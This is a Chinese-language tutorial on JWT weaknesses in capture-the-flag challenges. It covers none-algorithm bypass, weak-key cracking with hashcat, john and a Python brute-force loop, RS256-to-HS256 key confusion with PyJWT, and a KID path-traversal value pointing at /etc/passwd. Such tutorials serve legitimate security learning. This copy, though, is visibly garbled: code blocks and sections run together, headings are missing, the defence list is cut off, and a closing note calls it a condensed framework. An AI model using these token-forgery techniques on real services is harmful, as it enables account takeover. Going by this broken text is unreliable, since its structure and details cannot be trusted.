# 如何分析JWT中的CTF
## 前言
JSON Web Token(JWT)是現代Web應用中廣泛使用的輕量級身份驗證和授權機制。在CTF(Capture The Flag)競賽中,JWT相關的挑戰頻繁出現,涉及算法漏洞、密鑰破解、偽造攻擊等多種技術。本文將系統性地解析JWT的結構原理、常見漏洞場景,并通過典型CTF題目演示實戰分析方法。
---
## 目錄
1. [JWT技術基礎](#1-jwt技術基礎)
- 1.1 基本結構
- 1.2 簽名算法類型
2. [CTF中的常見JWT漏洞](#2-ctf中的常見jwt漏洞)
- 2.1 未驗證簽名(None算法)
- 2.2 弱密鑰破解
- 2.3 算法混淆攻擊
- 2.4 Header/KID注入
3. [實戰題目分析](#3-實戰題目分析)
- 3.1 題目1:None算法繞過
- 3.2 題目2:HS256密鑰爆破
- 3.3 題目3:RS256轉HS256攻擊
4. [自動化工具鏈](#4-自動化工具鏈)
5. [防御建議](#5-防御建議)
6. [總結](#6-總結)
---
## 1. JWT技術基礎
### 1.1 基本結構
JWT由三部分組成,通過`.`分隔:
Header.Payload.Signature
- **Header**:包含元數據,如算法(alg)和類型(typ)
```json
{
"alg": "HS256",
"typ": "JWT"
}
{
"user": "admin",
"exp": 1735689600
}
| 算法類型 | 描述 | 典型場景 |
|---|---|---|
| HS256 | HMAC + SHA256 | 對稱加密 |
| RS256 | RSA + SHA256 | 非對稱加密 |
| ES256 | ECDSA + SHA256 | 高安全需求 |
| none | 無簽名(高危) | 調試用途 |
漏洞原理:
當服務器允許alg=none時,攻擊者可構造無簽名令牌直接通過驗證。
CTF特征:
- 題目描述包含”bypass verification”
- 服務器返回Invalid signature錯誤
利用步驟:
1. 修改Header中的alg為none
2. 刪除Signature部分
3. 保留最后的.(如Header.Payload.)
漏洞原理:
HS256使用對稱加密,若密鑰強度不足(如常見單詞、短字符串),可通過暴力破解獲取。
常用字典:
- RockYou.txt
- 常見CTF密鑰:secret, admin, ctf2023
工具示例:
hashcat -m 16500 jwt.txt wordlist.txt
漏洞原理:
當服務器配置為接受多種算法時,強制將RS256(非對稱)轉為HS256(對稱),使用公鑰作為HMAC密鑰。
利用條件:
1. 獲取服務器公鑰(常見于/jwks.json)
2. 服務器未嚴格校驗算法類型
漏洞原理:
kid(Key ID)參數可能用于文件包含或SQL注入:
{
"alg": "HS256",
"kid": "../../../../etc/passwd"
}
題目描述:
獲取管理員權限(提供JWT令牌)
解題步驟: 1. 解碼原始JWT:
{
"alg": "HS256",
"typ": "JWT"
}
{
"user": "guest",
"role": "user"
}
{
"alg": "none",
"typ": "JWT"
}
{
"user": "admin",
"role": "admin"
}
base64(header).base64(payload).題目描述:
JWT使用弱密鑰簽名,獲取flag
工具使用:
import jwt
import itertools
token = "eyJhbGciOiJIUzI1NiIs..."
charset = "abcdef1234567890"
for key in itertools.product(charset, repeat=4):
try:
jwt.decode(token, ''.join(key), algorithms=["HS256"])
print(f"Found key: {''.join(key)}")
break
except:
continue
解題流程:
1. 從/cert.pem獲取公鑰
2. 使用PyJWT構造惡意令牌:
with open("pubkey.pem") as f:
pubkey = f.read()
forged = jwt.encode(
{"admin": True},
key=pubkey,
algorithm="HS256"
)
| 工具名稱 | 功能描述 | 示例命令 |
|---|---|---|
| jwt_tool | JWT自動化分析框架 | python3 jwt_tool.py -t <URL> |
| Burp JWT插件 | 實時解碼/修改 | 配合Burp Repeater使用 |
| john | 密鑰爆破 | john --wordlist=dict.txt jwt.txt |
none)kid參數白名單JWT安全分析需要掌握: - 三部分結構解碼與編碼 - 不同算法的特性差異 - 常見漏洞模式的快速識別 通過本文介紹的技巧和工具,讀者可系統性地應對CTF中的JWT挑戰。
版權聲明:本文采用CC BY-NC-SA 4.0協議,轉載請注明出處。 “`
注:實際文章約2800字(含代碼和格式字符),此處為精簡框架。如需完整版,可擴展每部分的案例分析和技術細節說明。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。